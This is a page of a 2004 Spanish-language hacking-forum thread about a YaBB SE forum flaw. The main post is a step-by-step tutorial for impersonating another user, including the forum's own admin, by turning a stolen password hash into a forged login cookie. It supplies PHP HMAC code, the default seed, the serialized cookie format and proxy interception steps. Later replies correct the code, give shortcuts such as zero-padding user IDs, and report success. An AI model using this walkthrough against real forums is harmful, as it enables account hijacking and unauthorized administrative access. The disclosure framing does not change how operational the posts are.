elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 10:05  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Otro agujero en el yabbse
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 Ir Abajo Respuesta Imprimir
Autor Tema: Otro agujero en el yabbse  (Leído 7,081 veces)
oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #15 en: 17 Febrero 2004, 20:44 »

ok, funciona muy bien devuelve el hash  :P, en el asunto del replay  ;D, estubo bien supongo..
aparentemente no es MD5, no se mucho de password cifrados, seria bueno algo para leer o como obtnerlos mas entendibles, no me molestaria leer  :P, yo lo probe en la version 1.5.3 ,si es super desactualizado (es increible que el administrador no lo haya actualizado) ;D,un saludo
si seria bueno Alnitak que explicaras mas  ???
« Última modificación: 17 Febrero 2004, 20:47 por B e B e » En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
Alnitak
Carpe Diem


Desconectado Desconectado

Mensajes: 692



Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #16 en: 17 Febrero 2004, 22:19 »

Hola.

Disculpen pero no me parece lo correcto que yo me ponga a dar explicaciones sobre como explotar un bug descubierto por otro usuario, de hecho yo solo andaba preguntando sobre como se crackea este hash y no pretendía dar explicaciones :P

Ya pepitogrillo aclaró que no deseaba dar mas explicaciones para que cada quien se busque la vida, si el cambia de parecer estoy seguro que podrá dar todas las explicaciones que desean y que lo hará con muchos mas conocimientos de los que yo poseo, así que un saludo a todos y a buscar  :D
En línea

-(¯`(*)Al Nitak(*)´¯)-» --[Deus Meumque Jus]--»
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #17 en: 18 Febrero 2004, 01:04 »

Hoy me di cuenta de que fue publicado ya en Bugtraq:
http://seclists.org/lists/bugtraq/2004/Feb/0440.html
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #18 en: 18 Febrero 2004, 01:50 »

Hola:

Ante todo Alnitak , no te preocupes si el hueco lo descubrí yo, no me importa que expliques tus descubrimientos en relación a él, al contrario , seguro asi todos aprenderemos mas. Pero bueno visto que la postura de los creadores de Yabbse ha dejado mucho que desear, cosa que me sorprende ya que, asi como   en la vulnerabilidad anterior actuaron de manera muy profesional y rápida, en esta han pasado totalmente del tema e incluso se han dedicado a borrar los post de su foro en los que se comentaba la existencia de este agujero, cosa que me ha parecido cuanto menos poco etica. Pues visto que no tienen en mente sacar un parche, al menos de momento, y que el cambio de los foros es muy sencillo ( solo 4 o 5 lineas ), ademas de que ya se está usando el exploit "a saco", me he decidido a sacar este pequeño "HOW-TO" para que por lo menos todos sepan como funciona mas o menos esto.

Bueno pues esto es una especie de tutorial que aunque es para este exploit del YabbSE, sirve para muchos casos especialmente donde se use PHP ya que la mayoria de los desarrolladores usan técnicas comunes.

Otra vez me voy a tomar la libertad de usar links de este foro para hacer mas fácil el texto. Imaginemos que llegamos al foro y nos encontramos que el admin se llama pepitogrillo, un usuario déspota y un poco cabrón y decidimos que este mismo será nuestra víctima. Asi que lo primero que haremos será buscar su ID. ¿Cómo? Pues muy sencillo mirando su perfil. Pues vamos a un post chorra que ha puesto acerca de un nuevo agujero en un foro, ahi clickamos en la foto de un bebé que nos lleva a ver su perfil ( si, ese a la izquierda del mensaje instantáneo )  y nos lleva a:

http://foro.elhacker.net/index.php?action=viewprofile;user=pepitogrillo

No, aún no busquen que está página no tiene nada.

Aqui vamos al botón IR que nos lleva a ver sus últimos mensajes. Donde dice "Mostrar los últimos N mensajes de este usuario", ahora si, en la URL de esta nueva página está el ID del usuario pepitogrillo.

http://foro.elhacker.net/index.php?board=;action=usersrecentposts;userid=10189;user=pepitogrillo

Bien ya tenemos el ID del usuario ahora aplicamos el exploit que ya se explicó anteriormente y obtenemos el hash de su password.

de40a91d28e3501d74d1985c1906436e

hmmm por si acaso aclarar que este hash se obtuvo con login:pepitogrillo pass:1234. Pero bueno esto no lo sabemos :P

Bien ahora lo que necesitamos es obtener el hash que se guardaria supuestamente si este usuario al loguearse dijera que quiere mantenerse logueado. Este hash se obtiene al cifrar el hash obtenido con el exploit con el $pwseed que por defecto es ys como ya habiamos dicho. Bien para hacer esto utilizaremos el mismo código que utiliza yabbse. Aqui dejo un pedazo de código para que hagan pruebas.


<?php

function md5_hmac($data, $key)
{
   if (strlen($key) > 64)
      $key = pack('H*', md5($key));
   $key  = str_pad($key, 64, chr(0x00));
   $k_ipad = $key ^ str_repeat(chr(0x36), 64);
   $k_opad = $key ^ str_repeat(chr(0x5c), 64);
   return md5($k_opad . pack('H*', md5($k_ipad . $data)));
}
$hash = md5_hmac("de40a91d28e3501d74d1985c1906436e", "ys");
echo "El valor del hash es ".$hash."<br />\n";
?>


al ejecutar esto nos sale:

El valor del hash es 6993bc6a517d3d95dac17bdf84a6e70b

este es el hash que necesitamos.

Ahora necesitamos cambiar nuestra cookie, lo que hacemos es loguearnos y marcar el check que dice de matenernos logueados, esto hará que YabbSE nos ponga la tan ansiada cookie.

Echandole un vistazo a esta cookie vemos el sgte. formato:

YaBBSE155|a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A32%3A%2212345543210123456789abcdef1234bb%22%3B%7D|www.elhost.com

Bien de aqui lo que nos interesa es lo que está por detras de la palabra YaBBSE155 y antes de www.elhost.com esto no es mas que datos serializados que YabbSE nos coloca en la cookie. Estos son los datos que tenemos que cambiar pero como? Bien lo primero es analizar un poco e formato de estos datos, primero tenemos que convertir todos esos %3A %B , etc en un formato mas cómodo, para hacerlo de manera rápida y para aquellos que no son muy duchos en la programación utilizaremos la mejor herramienta de hacking que se haya inventado jamas.

EL GOOGLE.

Que como utilizaremos el google
pues nos vamos a www.google.com y le damos al boton buscar estando vacío y la URL nos queda asi:

http://www.google.es/search?hl=es&ie=UTF-8&oe=UTF-8&q=&btnG=B%C3%BAsqueda+en+Google&meta=

pues donde dice q= le ponemos los datos para que nos quede asi:

http://www.google.es/search?hl=es&ie=UTF-8&oe=UTF-8&q=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A32%3A%2212345543210123456789abcdef1234bb%22%3B%7D&btnG=B%C3%BAsqueda+en+Google&meta=

un ENTER y en el Text de búsqueda nos aparece la cadena que necesitamos.

a:2:{i:0;s:1:"2";i:1;s:32:"12345543210123456789abcdef1234bb";}

Ahora veremos como se come esto:

a:2:{...........} esto nos indica que lo que se está guardando son dos elementos:

i:0;s:1:"2"; Este es el primer elemento. i:0
indica que este es el elemento #0 o sea el primero, luego
s:1:"2" nos indica que el elemento es un string (s) de tamaño 1 (1) y valor "2" sin las comillas. Echandole una ojeada al código del YabbSE vemos que esto es el ID del usuario. aplicando esto mismo al resto de la cadena obtenemos que el segundo elemento es una cadena de 32 caracteres y valor 12345543210123456789abcdef1234bb que esto es el doble hash. Bien ahora lo que tenemos que hacer es poner nuestros valores.  Comenzamos tomando el inicio de la cadena que es igual para los dos.

a:2:{i:0;s: aqui ya cambia un poco la cosa ya que el ID de pepitogrillo tiene 5 caracteres 10189
 asi que cambiamos el tamaño y el valor y nos queda:

a:2:{i:0;s:5:"10189"; luego seguimos con lo que es comun.

a:2:{i:0;s:5:"10189";i:1;s:32: y ponemos el hash que obtuvimos de pepitogrillo. 6993bc6a517d3d95dac17bdf84a6e70b
asi nos queda la cadena final

a:2:{i:0;s:5:"10189";i:1;s:32:"6993bc6a517d3d95dac17bdf84a6e70b";}

esto lo volvemos a poner en google, pero haciendolo a la inversa, es decir ponemos esto en el textbox y le damos a buscar, cogemos lo que nos sale en la url despues de q=

a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%2210189%22%3Bi%3A1%3Bs%3A32%3A%226993bc6a517d3d95dac17bdf84a6e70b%22%3B%7D

bien señores después de todo el camino pues ya tenemos lo que queriamos. Ahora el cambio lo pueden hacer como mejor sepan. Yo utilicé el Paros (http://www.proofsecure.com/)
Es un proxy HTTP/HTTPS que te permite hacer infinidad de cosas con el tráfico HTTP entre estas cosas esta cambiar patrones ,  TRAPS, etc. y lo mejor es que es multiplataforma ya que está hecho en java.

Bien pues con el paros puedes poner que te genere un Trap cuando haya un "REQUEST" y lo dejas escuchando.

Vas y navegas a la pagina principal del foro. Verás como el Paros te avisa cada vez que el navegador pide algo. Pues en cuanto veas que tu navegador envia la cookie vas y la cambias por la nueva cookie. El servidor te recibirá como pepitogrillo.

Bueno esto es todo. Espero que les haya servido de algo. Si hay algún error avisenme para modificarlo ya que algunas cosas las estoy poniendo de memoria y puede ser que me equivoque en algo.


Saludos a tod@s
« Última modificación: 18 Febrero 2004, 03:48 por pepitogrillo » En línea
Crackptus^^


Desconectado Desconectado

Mensajes: 835


[ I`am a being outside this world]


Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #19 en: 18 Febrero 2004, 02:35 »

olle pepitogrillo de donde sacastes esa info? la escribistes tu. Por que alguien se quebro el coco escribiendo todo eso.

No seas gacho de perdido di quien lo iso. !

Leer mas aqui sobre esta nota.

http://www.yabbse.org/community/index.php?thread=27569

Un saludo. ! :-*
En línea

When you learn to respect to your superior ones, then aprenderas to be somebody, because all we above have somebody but that, in short, are single to say.
BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #20 en: 18 Febrero 2004, 03:19 »

Hola crackptus^

Después de casi media hora escribiendo el texto y luego ver tu post me dieron ganas de responderte con esa frase de "Cree el ladrón que todos son de su condición" pero luego me he dicho que no, que puedo darte una explicación.

Esa info la escribi yo.

Antes que nada aclarar que mi nick no es pepitogrillo, mi nick real es BackSpace y soy el autor de este texto, del aviso de esta vulnerabilidad (1.5.5) asi como la de la anterior (1.5.4) , este nick(pepitogrillo) lo registré cuando hace cerca de un mes descubrí la vulnerabilidad y la probé en este foro porque queria cerciorarme de que funcionaba en otro foro que no fuera el que tenia de prueba, una vez comprobado le avisé al admin del hueco y le dije un parche temporal que deberia poner, que casualmente no fue el mismo que posteé en bugtraq :) el que le di al admin de este foro si rulaba y luego por ponerme a inventar y querer hacer uno mas chulo se me olvidó que el parametro quote tenia que ser chequeado dos veces :) y por eso fue corregido en bugtraq y luego lo corregi aqui en mi primer post.


Por que alguien se quebro el coco escribiendo todo eso.

Decirte que si que me costó bastante escribirlo y que si lo encuentras en otro lado, puedes estar seguro que es copiado de aqui.

Leer mas aqui sobre esta nota

Respecto a la nota que dices, es copiada de este foro.

De todos modos si no me crees, te lo puede corroborar el admin del foro y si aun te quedan dudas preguntale al autor de la nota en el foro de yabbse

Saludos

P.D. espero que para la proxima por lo menos intentes averiguar si de verdad el texto ha sido un Cut/Paste.

otro P.D.
No seas gacho de perdido di quien lo iso.

Esto no lo he entendido.

último P.D.
Sin rencores
« Última modificación: 18 Febrero 2004, 03:23 por pepitogrillo » En línea
Crackptus^^


Desconectado Desconectado

Mensajes: 835


[ I`am a being outside this world]


Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #21 en: 18 Febrero 2004, 03:30 »

ok.. Amigo. disculpame y gracias por la aclaracion, muchisimas gracias, se ve que eres bueno para estos temas He ;D un  10 y bien por ti.!

Me gustaria ponerme en contacto contigo.. mi msn es chuy@hidroklan.com para preguntarte sobre algo que no puedo escribir aqui en el foro..

Un saludo y como tu dices.. Sin rencores.. y ademas de todo eres buena onda, y hojala que asi fueran todos para responder algo. por que si hubiera sido alguno que yo conozco, puff, me mienta la mama..

Un saludo. ! :o
En línea

When you learn to respect to your superior ones, then aprenderas to be somebody, because all we above have somebody but that, in short, are single to say.
Webamaster18

Desconectado Desconectado

Mensajes: 3



Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #22 en: 18 Febrero 2004, 03:30 »

"El Internet es libre" ................. ;D así que si se lo copió ese wey, el aBsTrAcTo o como sea, pues me da igual.. total, la info es la misma jejej  ::)
En línea
oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #23 en: 18 Febrero 2004, 17:31 »

pues es muy facil  de saberlo:
February 16, 2004, 06:54:40 PM »  = http://www.yabbse.org/community/index.php?thread=27569

16 Febrero 2004, 21:14 = http://foro.elhacker.net/index.php/elhackernet/t25572.htm
y saquen su conclusiones, la diferencia de horario creo que es de 7 horas,esta muy facil.......saludos
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
RagleM


Desconectado Desconectado

Mensajes: 484


what da fuck .. ill do it!!


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #24 en: 18 Febrero 2004, 18:46 »

todo por aca tons ....  :D

bueno la duda que tengo es la sgte en el howto de BackSpace hay una parte de codigo que es la funcion function md5_hmac($data, $key) a la cual se manda el hash que aparece en re: , si no me equivoco , pues bien para ejecutar este codigo lo puse en un xxx.php y lo subi a mi espacio en miarroba y lo ejecute pero me manda un error en la linea 5 , creo que aca $key  = str_pad($key, 64, chr(0x00));  bien aora kisiera saber como ejecuto este codigo , si hay algun programa , puedo instalar el apache localmente o... bueno esa es la pregunta , de que forma obtengo el segundo hash ?

saludos y gracias de antemano
En línea

.                        (\ /)
                        (O.o)
                        (> <)
This is Bunny. Copy Bunny into your signature to help him on his way to world domination.

Linux Registered User # 387266
BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #25 en: 18 Febrero 2004, 19:17 »

Puede que sea un error de cutypasteo porque yo estoy probando el código que he posteado y funciona. Chequea los punto y comas.

Saludos
« Última modificación: 18 Febrero 2004, 19:18 por pepitogrillo » En línea
pinoch0

Desconectado Desconectado

Mensajes: 1


¡Amo YaBB SE!


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #26 en: 18 Febrero 2004, 19:25 »

Solo quiero escribir una nota para felicitarte por tu trabajo "pepitogrillo" (backspace) y solo darte animo apra que sigas investigando y actuando eticamente como lo has hecho. Espero que con tu ejemplo la gente se de cuenta de como hay que actuar ante el caso que nos ocupa y no dar de comer a la prensa sensacionalista, la imagen que tiene la sociedad de los "hackers" por llamar de alguna manera. Bien es verdad que ante la actuacion de los creadores de yabsse hay que hacer algo por "llamar la atencion". Venga un saludo y espero que todos hallamos apredndido algo.
En línea
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 16.990


La libertad no se suplica, se conquista


Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #27 en: 18 Febrero 2004, 19:27 »

Prueba con este:
<?php

function md5_hmac($data, $pwseed)
{
            if (strlen($pwseed) > 64)
                      $pwseed = pack('H*', md5($pwseed));
            $pwseed  = str_pad($pwseed, 64, chr(0x00));

            $k_ipad = $pwseed ^ str_repeat(chr(0x36), 64);
            $k_opad = $pwseed ^ str_repeat(chr(0x5c), 64);

            return md5($k_opad . pack('H*', md5($k_ipad . $data)));
}

   $pwseed=ys;
   $password = md5_hmac('primer_hash_md5', $pwseed);
        echo $password;

?>

El resultado es el "segundo hash".
En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

Alnitak
Carpe Diem


Desconectado Desconectado

Mensajes: 692



Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #28 en: 18 Febrero 2004, 21:32 »

Weno, para los que somos flojos podemos sacar el hash con el hashcalc, una herramienta freeware que se descarga desde http://www.slavasoft.com y que encontrarán utilísima también para otros 'trabajitos' además de ser sencillísima de usar.  :)

También podemos ahorrarnos lo de google y de los demás programas para re direcionar la cookie al modificar directamente la cookie que nos deje el foro en cuestión y sustituyendo el hash y el userid por el deseado después de cerrar el navegador, solo hay que poner cuidado a que el userid tenga el mismo numero de caracteres por lo tanto si nuestro userid es por ejemplo 17000 y queremos entrar desde el userid 850 no pondremos 850 sino 00850.
En línea

-(¯`(*)Al Nitak(*)´¯)-» --[Deus Meumque Jus]--»
RagleM


Desconectado Desconectado

Mensajes: 484


what da fuck .. ill do it!!


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #29 en: 19 Febrero 2004, 05:18 »

ehhhh lo he logrado , ;D ;D gracias  a BackSpace , a el-brujo y Alnitak por la ayuda

saludos
En línea

.                        (\ /)
                        (O.o)
                        (> <)
This is Bunny. Copy Bunny into your signature to help him on his way to world domination.

Linux Registered User # 387266
Páginas: 1 [2] 3 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines